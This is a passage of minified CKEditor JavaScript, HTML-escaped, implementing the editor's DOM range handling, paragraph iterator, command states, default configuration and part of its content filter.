0):d.setStartBefore(f));l&amp;&amp;l.type==CKEDITOR.NODE_TEXT&amp;&amp;(e?e&gt;=l.getLength()?d.setEndAfter(l):(d.setEndAfter(l),m=0):d.setEndBefore(l));var d=new CKEDITOR.dom.walker(d),r=CKEDITOR.dom.walker.bookmark();d.evaluator=function(b){return b.type==(a==CKEDITOR.SHRINK_ELEMENT?CKEDITOR.NODE_ELEMENT:CKEDITOR.NODE_TEXT)};var w;d.guard=function(b,d){if(r(b))return!0;if(a==CKEDITOR.SHRINK_ELEMENT&amp;&amp;b.type==CKEDITOR.NODE_TEXT||d&amp;&amp;b.equals(w)||!1===c&amp;&amp;b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.isBlockBoundary()||b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;
b.hasAttribute(&quot;contenteditable&quot;))return!1;d||b.type!=CKEDITOR.NODE_ELEMENT||(w=b);return!0};k&amp;&amp;(f=d[a==CKEDITOR.SHRINK_ELEMENT?&quot;lastForward&quot;:&quot;next&quot;]())&amp;&amp;this.setStartAt(f,b?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_START);m&amp;&amp;(d.reset(),(d=d[a==CKEDITOR.SHRINK_ELEMENT?&quot;lastBackward&quot;:&quot;previous&quot;]())&amp;&amp;this.setEndAt(d,b?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_AFTER_END));return!(!k&amp;&amp;!m)}},insertNode:function(a){this.optimizeBookmark();this.trim(!1,!0);var b=this.startContainer,c=b.getChild(this.startOffset);
c?a.insertBefore(c):b.append(a);a.getParent()&amp;&amp;a.getParent().equals(this.endContainer)&amp;&amp;this.endOffset++;this.setStartBefore(a)},moveToPosition:function(a,b){this.setStartAt(a,b);this.collapse(!0)},moveToRange:function(a){this.setStart(a.startContainer,a.startOffset);this.setEnd(a.endContainer,a.endOffset)},selectNodeContents:function(a){this.setStart(a,0);this.setEnd(a,a.type==CKEDITOR.NODE_TEXT?a.getLength():a.getChildCount())},setStart:function(b,c){b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;CKEDITOR.dtd.$empty[b.getName()]&amp;&amp;
(c=b.getIndex(),b=b.getParent());this._setStartContainer(b);this.startOffset=c;this.endContainer||(this._setEndContainer(b),this.endOffset=c);a(this)},setEnd:function(b,c){b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;CKEDITOR.dtd.$empty[b.getName()]&amp;&amp;(c=b.getIndex()+1,b=b.getParent());this._setEndContainer(b);this.endOffset=c;this.startContainer||(this._setStartContainer(b),this.startOffset=c);a(this)},setStartAfter:function(a){this.setStart(a.getParent(),a.getIndex()+1)},setStartBefore:function(a){this.setStart(a.getParent(),
a.getIndex())},setEndAfter:function(a){this.setEnd(a.getParent(),a.getIndex()+1)},setEndBefore:function(a){this.setEnd(a.getParent(),a.getIndex())},setStartAt:function(b,c){switch(c){case CKEDITOR.POSITION_AFTER_START:this.setStart(b,0);break;case CKEDITOR.POSITION_BEFORE_END:b.type==CKEDITOR.NODE_TEXT?this.setStart(b,b.getLength()):this.setStart(b,b.getChildCount());break;case CKEDITOR.POSITION_BEFORE_START:this.setStartBefore(b);break;case CKEDITOR.POSITION_AFTER_END:this.setStartAfter(b)}a(this)},
setEndAt:function(b,c){switch(c){case CKEDITOR.POSITION_AFTER_START:this.setEnd(b,0);break;case CKEDITOR.POSITION_BEFORE_END:b.type==CKEDITOR.NODE_TEXT?this.setEnd(b,b.getLength()):this.setEnd(b,b.getChildCount());break;case CKEDITOR.POSITION_BEFORE_START:this.setEndBefore(b);break;case CKEDITOR.POSITION_AFTER_END:this.setEndAfter(b)}a(this)},fixBlock:function(a,b){var c=this.createBookmark(),d=this.document.createElement(b);this.collapse(a);this.enlarge(CKEDITOR.ENLARGE_BLOCK_CONTENTS);this.extractContents().appendTo(d);
d.trim();this.insertNode(d);var f=d.getBogus();f&amp;&amp;f.remove();d.appendBogus();this.moveToBookmark(c);return d},splitBlock:function(a,b){var c=new CKEDITOR.dom.elementPath(this.startContainer,this.root),d=new CKEDITOR.dom.elementPath(this.endContainer,this.root),f=c.block,l=d.block,h=null;if(!c.blockLimit.equals(d.blockLimit))return null;&quot;br&quot;!=a&amp;&amp;(f||(f=this.fixBlock(!0,a),l=(new CKEDITOR.dom.elementPath(this.endContainer,this.root)).block),l||(l=this.fixBlock(!1,a)));c=f&amp;&amp;this.checkStartOfBlock();
d=l&amp;&amp;this.checkEndOfBlock();this.deleteContents();f&amp;&amp;f.equals(l)&amp;&amp;(d?(h=new CKEDITOR.dom.elementPath(this.startContainer,this.root),this.moveToPosition(l,CKEDITOR.POSITION_AFTER_END),l=null):c?(h=new CKEDITOR.dom.elementPath(this.startContainer,this.root),this.moveToPosition(f,CKEDITOR.POSITION_BEFORE_START),f=null):(l=this.splitElement(f,b||!1),f.is(&quot;ul&quot;,&quot;ol&quot;)||f.appendBogus()));return{previousBlock:f,nextBlock:l,wasStartOfBlock:c,wasEndOfBlock:d,elementPath:h}},splitElement:function(a,b){if(!this.collapsed)return null;
this.setEndAt(a,CKEDITOR.POSITION_BEFORE_END);var c=this.extractContents(!1,b||!1),d=a.clone(!1,b||!1);c.appendTo(d);d.insertAfter(a);this.moveToPosition(a,CKEDITOR.POSITION_AFTER_END);return d},removeEmptyBlocksAtEnd:function(){function a(g){return function(a){return b(a)||c(a)||a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.isEmptyInlineRemoveable()||g.is(&quot;table&quot;)&amp;&amp;a.is(&quot;caption&quot;)?!1:!0}}var b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.dom.walker.bookmark(!1);return function(b){for(var c=this.createBookmark(),
d=this[b?&quot;endPath&quot;:&quot;startPath&quot;](),f=d.block||d.blockLimit,l;f&amp;&amp;!f.equals(d.root)&amp;&amp;!f.getFirst(a(f));)l=f.getParent(),this[b?&quot;setEndAt&quot;:&quot;setStartAt&quot;](f,CKEDITOR.POSITION_AFTER_END),f.remove(1),f=l;this.moveToBookmark(c)}}(),startPath:function(){return new CKEDITOR.dom.elementPath(this.startContainer,this.root)},endPath:function(){return new CKEDITOR.dom.elementPath(this.endContainer,this.root)},checkBoundaryOfElement:function(a,b){var d=b==CKEDITOR.START,f=this.clone();f.collapse(d);f[d?&quot;setStartAt&quot;:
&quot;setEndAt&quot;](a,d?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_END);f=new CKEDITOR.dom.walker(f);f.evaluator=c(d);return f[d?&quot;checkBackward&quot;:&quot;checkForward&quot;]()},checkStartOfBlock:function(){var a=this.startContainer,c=this.startOffset;CKEDITOR.env.ie&amp;&amp;c&amp;&amp;a.type==CKEDITOR.NODE_TEXT&amp;&amp;(a=CKEDITOR.tools.ltrim(a.substring(0,c)),f.test(a)&amp;&amp;this.trim(0,1));this.trim();a=new CKEDITOR.dom.elementPath(this.startContainer,this.root);c=this.clone();c.collapse(!0);c.setStartAt(a.block||a.blockLimit,CKEDITOR.POSITION_AFTER_START);
a=new CKEDITOR.dom.walker(c);a.evaluator=b();return a.checkBackward()},checkEndOfBlock:function(){var a=this.endContainer,c=this.endOffset;CKEDITOR.env.ie&amp;&amp;a.type==CKEDITOR.NODE_TEXT&amp;&amp;(a=CKEDITOR.tools.rtrim(a.substring(c)),f.test(a)&amp;&amp;this.trim(1,0));this.trim();a=new CKEDITOR.dom.elementPath(this.endContainer,this.root);c=this.clone();c.collapse(!1);c.setEndAt(a.block||a.blockLimit,CKEDITOR.POSITION_BEFORE_END);a=new CKEDITOR.dom.walker(c);a.evaluator=b();return a.checkForward()},getPreviousNode:function(a,
b,c){var d=this.clone();d.collapse(1);d.setStartAt(c||this.root,CKEDITOR.POSITION_AFTER_START);c=new CKEDITOR.dom.walker(d);c.evaluator=a;c.guard=b;return c.previous()},getNextNode:function(a,b,c){var d=this.clone();d.collapse();d.setEndAt(c||this.root,CKEDITOR.POSITION_BEFORE_END);c=new CKEDITOR.dom.walker(d);c.evaluator=a;c.guard=b;return c.next()},checkReadOnly:function(){function a(b,c){for(;b;){if(b.type==CKEDITOR.NODE_ELEMENT){if(&quot;false&quot;==b.getAttribute(&quot;contentEditable&quot;)&amp;&amp;!b.data(&quot;cke-editable&quot;))return 0;
if(b.is(&quot;html&quot;)||&quot;true&quot;==b.getAttribute(&quot;contentEditable&quot;)&amp;&amp;(b.contains(c)||b.equals(c)))break}b=b.getParent()}return 1}return function(){var b=this.startContainer,c=this.endContainer;return!(a(b,c)&amp;&amp;a(c,b))}}(),moveToElementEditablePosition:function(a,b){if(a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;!a.isEditable(!1))return this.moveToPosition(a,b?CKEDITOR.POSITION_AFTER_END:CKEDITOR.POSITION_BEFORE_START),!0;for(var c=0;a;){if(a.type==CKEDITOR.NODE_TEXT){b&amp;&amp;this.endContainer&amp;&amp;this.checkEndOfBlock()&amp;&amp;f.test(a.getText())?
this.moveToPosition(a,CKEDITOR.POSITION_BEFORE_START):this.moveToPosition(a,b?CKEDITOR.POSITION_AFTER_END:CKEDITOR.POSITION_BEFORE_START);c=1;break}if(a.type==CKEDITOR.NODE_ELEMENT)if(a.isEditable())this.moveToPosition(a,b?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_AFTER_START),c=1;else if(b&amp;&amp;a.is(&quot;br&quot;)&amp;&amp;this.endContainer&amp;&amp;this.checkEndOfBlock())this.moveToPosition(a,CKEDITOR.POSITION_BEFORE_START);else if(&quot;false&quot;==a.getAttribute(&quot;contenteditable&quot;)&amp;&amp;a.is(CKEDITOR.dtd.$block))return this.setStartBefore(a),
this.setEndAfter(a),!0;var d=a,h=c,e=void 0;d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.isEditable(!1)&amp;&amp;(e=d[b?&quot;getLast&quot;:&quot;getFirst&quot;](l));h||e||(e=d[b?&quot;getPrevious&quot;:&quot;getNext&quot;](l));a=e}return!!c},moveToClosestEditablePosition:function(a,b){var c,d=0,f,l,h=[CKEDITOR.POSITION_AFTER_END,CKEDITOR.POSITION_BEFORE_START];a?(c=new CKEDITOR.dom.range(this.root),c.moveToPosition(a,h[b?0:1])):c=this.clone();if(a&amp;&amp;!a.is(CKEDITOR.dtd.$block))d=1;else if(f=c[b?&quot;getNextEditableNode&quot;:&quot;getPreviousEditableNode&quot;]())d=1,(l=f.type==
CKEDITOR.NODE_ELEMENT)&amp;&amp;f.is(CKEDITOR.dtd.$block)&amp;&amp;&quot;false&quot;==f.getAttribute(&quot;contenteditable&quot;)?(c.setStartAt(f,CKEDITOR.POSITION_BEFORE_START),c.setEndAt(f,CKEDITOR.POSITION_AFTER_END)):!CKEDITOR.env.needsBrFiller&amp;&amp;l&amp;&amp;f.is(CKEDITOR.dom.walker.validEmptyBlockContainers)?(c.setEnd(f,0),c.collapse()):c.moveToPosition(f,h[b?1:0]);d&amp;&amp;this.moveToRange(c);return!!d},moveToElementEditStart:function(a){return this.moveToElementEditablePosition(a)},moveToElementEditEnd:function(a){return this.moveToElementEditablePosition(a,
!0)},getEnclosedNode:function(){var a=this.clone();a.optimize();if(a.startContainer.type!=CKEDITOR.NODE_ELEMENT||a.endContainer.type!=CKEDITOR.NODE_ELEMENT)return null;var a=new CKEDITOR.dom.walker(a),b=CKEDITOR.dom.walker.bookmark(!1,!0),c=CKEDITOR.dom.walker.whitespaces(!0);a.evaluator=function(a){return c(a)&amp;&amp;b(a)};var d=a.next();a.reset();return d&amp;&amp;d.equals(a.previous())?d:null},getTouchedStartNode:function(){var a=this.startContainer;return this.collapsed||a.type!=CKEDITOR.NODE_ELEMENT?a:a.getChild(this.startOffset)||
a},getTouchedEndNode:function(){var a=this.endContainer;return this.collapsed||a.type!=CKEDITOR.NODE_ELEMENT?a:a.getChild(this.endOffset-1)||a},getNextEditableNode:d(),getPreviousEditableNode:d(1),scrollIntoView:function(){var a=new CKEDITOR.dom.element.createFromHtml(&quot;\x3cspan\x3e\x26nbsp;\x3c/span\x3e&quot;,this.document),b,c,d,f=this.clone();f.optimize();(d=f.startContainer.type==CKEDITOR.NODE_TEXT)?(c=f.startContainer.getText(),b=f.startContainer.split(f.startOffset),a.insertAfter(f.startContainer)):
f.insertNode(a);a.scrollIntoView();d&amp;&amp;(f.startContainer.setText(c),b.remove());a.remove()},_setStartContainer:function(a){this.startContainer=a},_setEndContainer:function(a){this.endContainer=a}}}(),CKEDITOR.POSITION_AFTER_START=1,CKEDITOR.POSITION_BEFORE_END=2,CKEDITOR.POSITION_BEFORE_START=3,CKEDITOR.POSITION_AFTER_END=4,CKEDITOR.ENLARGE_ELEMENT=1,CKEDITOR.ENLARGE_BLOCK_CONTENTS=2,CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS=3,CKEDITOR.ENLARGE_INLINE=4,CKEDITOR.START=1,CKEDITOR.END=2,CKEDITOR.SHRINK_ELEMENT=
1,CKEDITOR.SHRINK_TEXT=2,&quot;use strict&quot;,function(){function a(a){1&gt;arguments.length||(this.range=a,this.forceBrBreak=0,this.enlargeBr=1,this.enforceRealBlocks=0,this._||(this._={}))}function e(a){var b=[];a.forEach(function(a){if(&quot;true&quot;==a.getAttribute(&quot;contenteditable&quot;))return b.push(a),!1},CKEDITOR.NODE_ELEMENT,!0);return b}function b(a,c,d,f){a:{null==f&amp;&amp;(f=e(d));for(var h;h=f.shift();)if(h.getDtd().p){f={element:h,remaining:f};break a}f=null}if(!f)return 0;if((h=CKEDITOR.filter.instances[f.element.data(&quot;cke-filter&quot;)])&amp;&amp;
!h.check(c))return b(a,c,d,f.remaining);c=new CKEDITOR.dom.range(f.element);c.selectNodeContents(f.element);c=c.createIterator();c.enlargeBr=a.enlargeBr;c.enforceRealBlocks=a.enforceRealBlocks;c.activeFilter=c.filter=h;a._.nestedEditable={element:f.element,container:d,remaining:f.remaining,iterator:c};return 1}function c(a,b,c){if(!b)return!1;a=a.clone();a.collapse(!c);return a.checkBoundaryOfElement(b,c?CKEDITOR.START:CKEDITOR.END)}var d=/^[\r\n\t ]+$/,k=CKEDITOR.dom.walker.bookmark(!1,!0),m=CKEDITOR.dom.walker.whitespaces(!0),
f=function(a){return k(a)&amp;&amp;m(a)},h={dd:1,dt:1,li:1};a.prototype={getNextParagraph:function(a){var g,e,m,u,q;a=a||&quot;p&quot;;if(this._.nestedEditable){if(g=this._.nestedEditable.iterator.getNextParagraph(a))return this.activeFilter=this._.nestedEditable.iterator.activeFilter,g;this.activeFilter=this.filter;if(b(this,a,this._.nestedEditable.container,this._.nestedEditable.remaining))return this.activeFilter=this._.nestedEditable.iterator.activeFilter,this._.nestedEditable.iterator.getNextParagraph(a);this._.nestedEditable=
null}if(!this.range.root.getDtd()[a])return null;if(!this._.started){var t=this.range.clone();e=t.startPath();var p=t.endPath(),y=!t.collapsed&amp;&amp;c(t,e.block),A=!t.collapsed&amp;&amp;c(t,p.block,1);t.shrink(CKEDITOR.SHRINK_ELEMENT,!0);y&amp;&amp;t.setStartAt(e.block,CKEDITOR.POSITION_BEFORE_END);A&amp;&amp;t.setEndAt(p.block,CKEDITOR.POSITION_AFTER_START);e=t.endContainer.hasAscendant(&quot;pre&quot;,!0)||t.startContainer.hasAscendant(&quot;pre&quot;,!0);t.enlarge(this.forceBrBreak&amp;&amp;!e||!this.enlargeBr?CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS:CKEDITOR.ENLARGE_BLOCK_CONTENTS);
t.collapsed||(e=new CKEDITOR.dom.walker(t.clone()),p=CKEDITOR.dom.walker.bookmark(!0,!0),e.evaluator=p,this._.nextNode=e.next(),e=new CKEDITOR.dom.walker(t.clone()),e.evaluator=p,e=e.previous(),this._.lastNode=e.getNextSourceNode(!0,null,t.root),this._.lastNode&amp;&amp;this._.lastNode.type==CKEDITOR.NODE_TEXT&amp;&amp;!CKEDITOR.tools.trim(this._.lastNode.getText())&amp;&amp;this._.lastNode.getParent().isBlockBoundary()&amp;&amp;(p=this.range.clone(),p.moveToPosition(this._.lastNode,CKEDITOR.POSITION_AFTER_END),p.checkEndOfBlock()&amp;&amp;
(p=new CKEDITOR.dom.elementPath(p.endContainer,p.root),this._.lastNode=(p.block||p.blockLimit).getNextSourceNode(!0))),this._.lastNode&amp;&amp;t.root.contains(this._.lastNode)||(this._.lastNode=this._.docEndMarker=t.document.createText(&quot;&quot;),this._.lastNode.insertAfter(e)),t=null);this._.started=1;e=t}p=this._.nextNode;t=this._.lastNode;for(this._.nextNode=null;p;){var y=0,A=p.hasAscendant(&quot;pre&quot;),z=p.type!=CKEDITOR.NODE_ELEMENT,r=0;if(z)p.type==CKEDITOR.NODE_TEXT&amp;&amp;d.test(p.getText())&amp;&amp;(z=0);else{var w=p.getName();
if(CKEDITOR.dtd.$block[w]&amp;&amp;&quot;false&quot;==p.getAttribute(&quot;contenteditable&quot;)){g=p;b(this,a,g);break}else if(p.isBlockBoundary(this.forceBrBreak&amp;&amp;!A&amp;&amp;{br:1})){if(&quot;br&quot;==w)z=1;else if(!e&amp;&amp;!p.getChildCount()&amp;&amp;&quot;hr&quot;!=w){g=p;m=p.equals(t);break}e&amp;&amp;(e.setEndAt(p,CKEDITOR.POSITION_BEFORE_START),&quot;br&quot;!=w&amp;&amp;(this._.nextNode=p));y=1}else{if(p.getFirst()){e||(e=this.range.clone(),e.setStartAt(p,CKEDITOR.POSITION_BEFORE_START));p=p.getFirst();continue}z=1}}z&amp;&amp;!e&amp;&amp;(e=this.range.clone(),e.setStartAt(p,CKEDITOR.POSITION_BEFORE_START));
m=(!y||z)&amp;&amp;p.equals(t);if(e&amp;&amp;!y)for(;!p.getNext(f)&amp;&amp;!m;){w=p.getParent();if(w.isBlockBoundary(this.forceBrBreak&amp;&amp;!A&amp;&amp;{br:1})){y=1;z=0;m||w.equals(t);e.setEndAt(w,CKEDITOR.POSITION_BEFORE_END);break}p=w;z=1;m=p.equals(t);r=1}z&amp;&amp;e.setEndAt(p,CKEDITOR.POSITION_AFTER_END);p=this._getNextSourceNode(p,r,t);if((m=!p)||y&amp;&amp;e)break}if(!g){if(!e)return this._.docEndMarker&amp;&amp;this._.docEndMarker.remove(),this._.nextNode=null;g=new CKEDITOR.dom.elementPath(e.startContainer,e.root);p=g.blockLimit;y={div:1,th:1,td:1};
g=g.block;!g&amp;&amp;p&amp;&amp;!this.enforceRealBlocks&amp;&amp;y[p.getName()]&amp;&amp;e.checkStartOfBlock()&amp;&amp;e.checkEndOfBlock()&amp;&amp;!p.equals(e.root)?g=p:!g||this.enforceRealBlocks&amp;&amp;g.is(h)?(g=this.range.document.createElement(a),e.extractContents().appendTo(g),g.trim(),e.insertNode(g),u=q=!0):&quot;li&quot;!=g.getName()?e.checkStartOfBlock()&amp;&amp;e.checkEndOfBlock()||(g=g.clone(!1),e.extractContents().appendTo(g),g.trim(),q=e.splitBlock(),u=!q.wasStartOfBlock,q=!q.wasEndOfBlock,e.insertNode(g)):m||(this._.nextNode=g.equals(t)?null:this._getNextSourceNode(e.getBoundaryNodes().endNode,
1,t))}u&amp;&amp;(u=g.getPrevious())&amp;&amp;u.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(&quot;br&quot;==u.getName()?u.remove():u.getLast()&amp;&amp;&quot;br&quot;==u.getLast().$.nodeName.toLowerCase()&amp;&amp;u.getLast().remove());q&amp;&amp;(u=g.getLast())&amp;&amp;u.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;br&quot;==u.getName()&amp;&amp;(!CKEDITOR.env.needsBrFiller||u.getPrevious(k)||u.getNext(k))&amp;&amp;u.remove();this._.nextNode||(this._.nextNode=m||g.equals(t)||!t?null:this._getNextSourceNode(g,1,t));return g},_getNextSourceNode:function(a,b,c){function d(a){return!(a.equals(c)||a.equals(f))}var f=
this.range.root;for(a=a.getNextSourceNode(b,null,d);!k(a);)a=a.getNextSourceNode(b,null,d);return a}};CKEDITOR.dom.range.prototype.createIterator=function(){return new a(this)}}(),CKEDITOR.command=function(a,e){this.uiItems=[];this.exec=function(b){if(this.state==CKEDITOR.TRISTATE_DISABLED||!this.checkAllowed())return!1;this.editorFocus&amp;&amp;a.focus();return!1===this.fire(&quot;exec&quot;)?!0:!1!==e.exec.call(this,a,b)};this.refresh=function(a,b){if(!this.readOnly&amp;&amp;a.readOnly)return!0;if(this.context&amp;&amp;!b.isContextFor(this.context)||
!this.checkAllowed(!0))return this.disable(),!0;this.startDisabled||this.enable();this.modes&amp;&amp;!this.modes[a.mode]&amp;&amp;this.disable();return!1===this.fire(&quot;refresh&quot;,{editor:a,path:b})?!0:e.refresh&amp;&amp;!1!==e.refresh.apply(this,arguments)};var b;this.checkAllowed=function(c){return c||&quot;boolean&quot;!=typeof b?b=a.activeFilter.checkFeature(this):b};CKEDITOR.tools.extend(this,e,{modes:{wysiwyg:1},editorFocus:1,contextSensitive:!!e.context,state:CKEDITOR.TRISTATE_DISABLED});CKEDITOR.event.call(this)},CKEDITOR.command.prototype=
{enable:function(){this.state==CKEDITOR.TRISTATE_DISABLED&amp;&amp;this.checkAllowed()&amp;&amp;this.setState(this.preserveState&amp;&amp;&quot;undefined&quot;!=typeof this.previousState?this.previousState:CKEDITOR.TRISTATE_OFF)},disable:function(){this.setState(CKEDITOR.TRISTATE_DISABLED)},setState:function(a){if(this.state==a||a!=CKEDITOR.TRISTATE_DISABLED&amp;&amp;!this.checkAllowed())return!1;this.previousState=this.state;this.state=a;this.fire(&quot;state&quot;);return!0},toggleState:function(){this.state==CKEDITOR.TRISTATE_OFF?this.setState(CKEDITOR.TRISTATE_ON):
this.state==CKEDITOR.TRISTATE_ON&amp;&amp;this.setState(CKEDITOR.TRISTATE_OFF)}},CKEDITOR.event.implementOn(CKEDITOR.command.prototype),CKEDITOR.ENTER_P=1,CKEDITOR.ENTER_BR=2,CKEDITOR.ENTER_DIV=3,CKEDITOR.config={customConfig:&quot;config.js&quot;,autoUpdateElement:!0,language:&quot;&quot;,defaultLanguage:&quot;en&quot;,contentsLangDirection:&quot;&quot;,enterMode:CKEDITOR.ENTER_P,forceEnterMode:!1,shiftEnterMode:CKEDITOR.ENTER_BR,docType:&quot;\x3c!DOCTYPE html\x3e&quot;,bodyId:&quot;&quot;,bodyClass:&quot;&quot;,fullPage:!1,height:200,contentsCss:CKEDITOR.getUrl(&quot;contents.css&quot;),
extraPlugins:&quot;&quot;,removePlugins:&quot;&quot;,protectedSource:[],tabIndex:0,width:&quot;&quot;,baseFloatZIndex:1E4,blockedKeystrokes:[CKEDITOR.CTRL+66,CKEDITOR.CTRL+73,CKEDITOR.CTRL+85]},function(){function a(a,b,c,d,f){var g,e;a=[];for(g in b){e=b[g];e=&quot;boolean&quot;==typeof e?{}:&quot;function&quot;==typeof e?{match:e}:E(e);&quot;$&quot;!=g.charAt(0)&amp;&amp;(e.elements=g);c&amp;&amp;(e.featureName=c.toLowerCase());var l=e;l.elements=m(l.elements,/\s+/)||null;l.propertiesOnly=l.propertiesOnly||!0===l.elements;var h=/\s*,\s*/,k=void 0;for(k in L){l[k]=m(l[k],
h)||null;var r=l,w=N[k],t=m(l[N[k]],h),z=l[k],p=[],C=!0,n=void 0;t?C=!1:t={};for(n in z)&quot;!&quot;==n.charAt(0)&amp;&amp;(n=n.slice(1),p.push(n),t[n]=!0,C=!1);for(;n=p.pop();)z[n]=z[&quot;!&quot;+n],delete z[&quot;!&quot;+n];r[w]=(C?!1:t)||null}l.match=l.match||null;d.push(e);a.push(e)}b=f.elements;f=f.generic;var H;c=0;for(d=a.length;c&lt;d;++c){g=E(a[c]);e=!0===g.classes||!0===g.styles||!0===g.attributes;l=g;k=w=h=void 0;for(h in L)l[h]=y(l[h]);r=!0;for(k in N){h=N[k];w=l[h];t=[];z=void 0;for(z in w)-1&lt;z.indexOf(&quot;*&quot;)?t.push(new RegExp(&quot;^&quot;+
z.replace(/\*/g,&quot;.*&quot;)+&quot;$&quot;)):t.push(z);w=t;w.length&amp;&amp;(l[h]=w,r=!1)}l.nothingRequired=r;l.noProperties=!(l.attributes||l.classes||l.styles);if(!0===g.elements||null===g.elements)f[e?&quot;unshift&quot;:&quot;push&quot;](g);else for(H in l=g.elements,delete g.elements,l)if(b[H])b[H][e?&quot;unshift&quot;:&quot;push&quot;](g);else b[H]=[g]}}function e(a,c,d,g){if(!a.match||a.match(c))if(g||f(a,c))if(a.propertiesOnly||(d.valid=!0),d.allAttributes||(d.allAttributes=b(a.attributes,c.attributes,d.validAttributes)),d.allStyles||(d.allStyles=b(a.styles,
c.styles,d.validStyles)),!d.allClasses){a=a.classes;c=c.classes;g=d.validClasses;if(a)if(!0===a)a=!0;else{for(var e=0,l=c.length,h;e&lt;l;++e)h=c[e],g[h]||(g[h]=a(h));a=!1}else a=!1;d.allClasses=a}}function b(a,b,c){if(!a)return!1;if(!0===a)return!0;for(var d in b)c[d]||(c[d]=a(d));return!1}function c(a,b,c){if(!a.match||a.match(b)){if(a.noProperties)return!1;c.hadInvalidAttribute=d(a.attributes,b.attributes)||c.hadInvalidAttribute;c.hadInvalidStyle=d(a.styles,b.styles)||c.hadInvalidStyle;a=a.classes;
b=b.classes;if(a){for(var f=!1,g=!0===a,e=b.length;e--;)if(g||a(b[e]))b.splice(e,1),f=!0;a=f}else a=!1;c.hadInvalidClass=a||c.hadInvalidClass}}function d(a,b){if(!a)return!1;var c=!1,d=!0===a,f;for(f in b)if(d||a(f))delete b[f],c=!0;return c}function k(a,b,c){if(a.disabled||a.customConfig&amp;&amp;!c||!b)return!1;a._.cachedChecks={};return!0}function m(a,b){if(!a)return!1;if(!0===a)return a;if(&quot;string&quot;==typeof a)return a=I(a),&quot;*&quot;==a?!0:CKEDITOR.tools.convertArrayToObject(a.split(b));if(CKEDITOR.tools.isArray(a))return a.length?
CKEDITOR.tools.convertArrayToObject(a):!1;var c={},d=0,f;for(f in a)c[f]=a[f],d++;return d?c:!1}function f(a,b){if(a.nothingRequired)return!0;var c,d,f,g;if(f=a.requiredClasses)for(g=b.classes,c=0;c&lt;f.length;++c)if(d=f[c],&quot;string&quot;==typeof d){if(-1==CKEDITOR.tools.indexOf(g,d))return!1}else if(!CKEDITOR.tools.checkIfAnyArrayItemMatches(g,d))return!1;return h(b.styles,a.requiredStyles)&amp;&amp;h(b.attributes,a.requiredAttributes)}function h(a,b){if(!b)return!0;for(var c=0,d;c&lt;b.length;++c)if(d=b[c],&quot;string&quot;==
typeof d){if(!(d in a))return!1}else if(!CKEDITOR.tools.checkIfAnyObjectPropertyMatches(a,d))return!1;return!0}function l(a){if(!a)return{};a=a.split(/\s*,\s*/).sort();for(var b={};a.length;)b[a.shift()]=&quot;cke-test&quot;;return b}function g(a){var b,c,d,f,g={},e=1;for(a=I(a);b=a.match(H);)(c=b[2])?(d=n(c,&quot;styles&quot;),f=n(c,&quot;attrs&quot;),c=n(c,&quot;classes&quot;)):d=f=c=null,g[&quot;$&quot;+e++]={elements:b[1],classes:c,styles:d,attributes:f},a=a.slice(b[0].length);return g}function n(a,b){var c=a.match(R[b]);return c?I(c[1]):null}
function v(a){var b=a.styleBackup=a.attributes.style,c=a.classBackup=a.attributes[&quot;class&quot;];a.styles||(a.styles=CKEDITOR.tools.parseCssText(b||&quot;&quot;,1));a.classes||(a.classes=c?c.split(/\s+/):[])}function u(a,b,d,f){var g=0,l;f.toHtml&amp;&amp;(b.name=b.name.replace(P,&quot;$1&quot;));if(f.doCallbacks&amp;&amp;a.elementCallbacks){a:{l=a.elementCallbacks;for(var h=0,k=l.length,r;h&lt;k;++h)if(r=l[h](b)){l=r;break a}l=void 0}if(l)return l}if(f.doTransform&amp;&amp;(l=a._.transformations[b.name])){v(b);for(h=0;h&lt;l.length;++h)w(a,b,l[h]);t(b)}if(f.doFilter){a:{h=
b.name;k=a._;a=k.allowedRules.elements[h];l=k.allowedRules.generic;h=k.disallowedRules.elements[h];k=k.disallowedRules.generic;r=f.skipRequired;var m={valid:!1,validAttributes:{},validClasses:{},validStyles:{},allAttributes:!1,allClasses:!1,allStyles:!1,hadInvalidAttribute:!1,hadInvalidClass:!1,hadInvalidStyle:!1},z,C;if(a||l){v(b);if(h)for(z=0,C=h.length;z&lt;C;++z)if(!1===c(h[z],b,m)){a=null;break a}if(k)for(z=0,C=k.length;z&lt;C;++z)c(k[z],b,m);if(a)for(z=0,C=a.length;z&lt;C;++z)e(a[z],b,m,r);if(l)for(z=
0,C=l.length;z&lt;C;++z)e(l[z],b,m,r);a=m}else a=null}if(!a||!a.valid)return d.push(b),1;C=a.validAttributes;var n=a.validStyles;l=a.validClasses;var h=b.attributes,y=b.styles,k=b.classes;r=b.classBackup;var H=b.styleBackup,q,x,N=[],m=[],A=/^data-cke-/;z=!1;delete h.style;delete h[&quot;class&quot;];delete b.classBackup;delete b.styleBackup;if(!a.allAttributes)for(q in h)C[q]||(A.test(q)?q==(x=q.replace(/^data-cke-saved-/,&quot;&quot;))||C[x]||(delete h[q],z=!0):(delete h[q],z=!0));if(!a.allStyles||a.hadInvalidStyle){for(q in y)a.allStyles||
